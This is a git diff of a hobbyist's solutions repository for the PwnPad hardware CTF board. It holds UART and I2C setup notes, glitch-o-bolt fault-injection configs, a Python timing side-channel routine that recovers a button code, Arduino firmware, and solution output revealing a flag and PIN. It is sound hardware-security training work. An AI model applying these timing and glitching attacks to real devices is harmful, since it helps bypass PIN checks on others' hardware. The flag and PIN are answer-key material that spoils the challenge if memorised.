+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
